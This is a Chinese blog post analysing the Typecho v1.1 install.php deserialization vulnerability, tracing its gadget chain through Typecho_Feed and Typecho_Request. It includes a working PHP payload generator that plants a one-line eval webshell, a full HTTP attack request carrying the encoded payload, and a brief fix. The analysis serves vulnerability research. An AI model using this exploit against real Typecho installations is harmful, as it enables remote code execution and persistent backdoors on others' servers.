Typecho反序列化漏洞分析


前言

突然想起了这个漏洞,来分析一下漏洞利用链学习一下

漏洞原因:

程序安装后不会自动删除install.php,install.php中存在反序列化漏洞引发。

测试版本:v1.1-15.5.12-beta

漏洞分析

在install.php文件中搜索unserialize就能直接找。

 $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
 Typecho_Cookie::delete('__typecho_config');
 $db = new Typecho_Db($config['adapter'], $config['prefix']);

这里反序列化了Typecho_Cookie::get('__typecho_config')的内容(base64编码的),跟进Typecho_Cookie的get方法:

    public static function get($key, $default = NULL)
    {
        $key = self::$_prefix . $key;
        $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
        return is_array($value) ? $default : $value;
    }

这里可以通过cookie或者post的方式传入,传入反序列化的内容就可控了。

然后在下面的代码中刚才反序列化后的config变量作为参数传入了Typecho_Db类中,

 $db = new Typecho_Db($config['adapter'], $config['prefix']);

跟进Typecho_Db类:

public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
        }

        $this->_prefix = $prefix;

        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //实例化适配器对象
        $this->_adapter = new $adapterName();
    }

'Typecho_Db_Adapter_' . $adapterName;这里字符串拼接变量,会触发__toString魔术方法,搜索代码中的toSting函数,在\var\Typecho\Feed.php中定义的__toString方法中:

    public function __toString()
    {
      ......
    foreach ($this->_items as $item) {
      $content .= '<item>' . self::EOL;
      $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
      $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
      $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
      $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
      $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
      ......

$item['author']->screenName这里如果$item['author'] 是一个对象,且不存在screenName属性时,会自动调用__get魔法函数。

全局搜索__get函数后在结果中跟进看一看,在/var/Typecho/Request.php中的__get方法有如下代码,其调用了自己的get方法:

public function __get($key)
    {
        return $this->get($key);
        }

get方法如下:

    public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }

        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }

它会给$value赋值,然后调用自己的_applyFilter方法,跟进_applyFilter方法

    private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                call_user_func($filter, $value);
            }

            $this->_filter = array();
        }

        return $value;
    }

$filter, $value都是可控的,可以利用array_mapcall_user_func执行代码。

PS:在install.php中要满足如下的条件才会执行反序列化代码:

if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }
<?php if (isset($_GET['finish'])) : ?>
  ......
  <?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
  <?php else : ?>
    unserialize......

确保fisish,__typecho_config有值就可以了,而且要设置referer。

构造payload

<?php
class Typecho_Feed{
    private $_type = 'ATOM 1.0';
    private $_items = array();
    public function addItem(array $item){
        $this->_items[] = $item;
    }
}
class Typecho_Request{
    private $_params = array('screenName'=> 'file_put_contents(\'shell.php\', \'<?php @eval($_POST[l]);?>\')');
    private $_filter = array('assert');
}
$payload1 = new Typecho_Feed();
$payload2 = new Typecho_Request();
$payload1->addItem(array('author' => $payload2));
$exp = array('adapter' => $payload1, 'prefix' => 'typecho');
echo base64_encode(serialize($exp));
?>

Attack

POST /typecho/install.php?finish=1 HTTP/1.1
Host: 127.0.0.1:8001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 519
Origin: http://127.0.0.1:8001
Connection: close
Referer: http://127.0.0.1:8001/typecho/install.php?finish=1
Cookie: PHPSESSID=nf3917m3bbml051b4d8up56qn4; __typecho_lang=zh_CN
Upgrade-Insecure-Requests: 1

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTk6ImZpbGVfcHV0X2NvbnRlbnRzKCdzaGVsbC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW2xdKTs%2FPicpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo3OiJ0eXBlY2hvIjt9

​ 其实已经执行成功了。

别忘了添加Referer

修复

删除install.php和install目录


文章作者: LANVNAL
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 LANVNAL !
  目录